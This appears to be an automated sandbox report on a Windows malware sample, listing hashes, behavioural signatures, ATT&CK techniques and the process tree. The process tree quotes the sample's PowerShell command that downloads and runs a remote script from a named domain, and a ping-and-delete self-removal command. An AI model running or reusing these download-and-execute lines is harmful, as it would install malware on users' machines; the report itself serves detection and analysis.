51fb189db1820ef138dd102477132b96ef5875a98d0f03be54e6e4e30458bc2b

Analysis

max time kernel
135s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
02/06/2023, 01:23

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General

Target

ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe
Size

253KB
MD5

3661cbaa14b2974e5f1c228da71b3375
SHA1

2802749a624d8b66786988805aafabdc8b3c741e
SHA256

ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f
SHA512

a35ce1d9dbfa50bc40de1effea0aaa69a45613c0545b918dd3f710106d917764940241cbad829738519c78167db5f4705b8b682acf698d60c3d54329b0e39099
SSDEEP

3072:/jw74LtbRIpVtSxq3hJSaj0CqWuvSNImaZhljVLl7r8qi41j2m2FtHJjgBvFGhC4:M6hJVL5nt2FvUJFGhCWUyAOkgqk7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://transparenciacanaa.com.br/cidadejunina/js/vendor/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	1736	powershell.exe
24	1736	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1968	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1736	powershell.exe
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3128 wrote to memory of 2652	3128	ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe	83
PID 3128 wrote to memory of 2652	3128	ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe	83
PID 2652 wrote to memory of 1736	2652	cmd.exe	85
PID 2652 wrote to memory of 1736	2652	cmd.exe	85
PID 3128 wrote to memory of 4640	3128	ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe	86
PID 3128 wrote to memory of 4640	3128	ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe	86
PID 3128 wrote to memory of 4640	3128	ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe	86
PID 4640 wrote to memory of 1968	4640	cmd.exe	88
PID 4640 wrote to memory of 1968	4640	cmd.exe	88
PID 4640 wrote to memory of 1968	4640	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe
"C:\Users\Admin\AppData\Local\Temp\ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3128
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://transparenciacanaa.com.br/cidadejunina/js/vendor/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://transparenciacanaa.com.br/cidadejunina/js/vendor/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\ada19cb4ac105d3455eb0c2f84fcc2d9cf4350e78e149a62304c90f978e72b7f.exe" >> NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4640
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stzclgfk.mum.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1736-133-0x000002774C6E0000-0x000002774C6F0000-memory.dmp

Filesize
64KB

Download
memory/1736-134-0x000002774C6E0000-0x000002774C6F0000-memory.dmp

Filesize
64KB

Download
memory/1736-140-0x00000277341E0000-0x0000027734202000-memory.dmp

Filesize
136KB

Download
memory/1736-151-0x000002774C6E0000-0x000002774C6F0000-memory.dmp

Filesize
64KB

Download
memory/1736-152-0x000002774C6E0000-0x000002774C6F0000-memory.dmp

Filesize
64KB

Download
memory/1736-153-0x000002774C6E0000-0x000002774C6F0000-memory.dmp

Filesize
64KB

Download
memory/1736-154-0x000002774C6E0000-0x000002774C6F0000-memory.dmp

Filesize
64KB

Download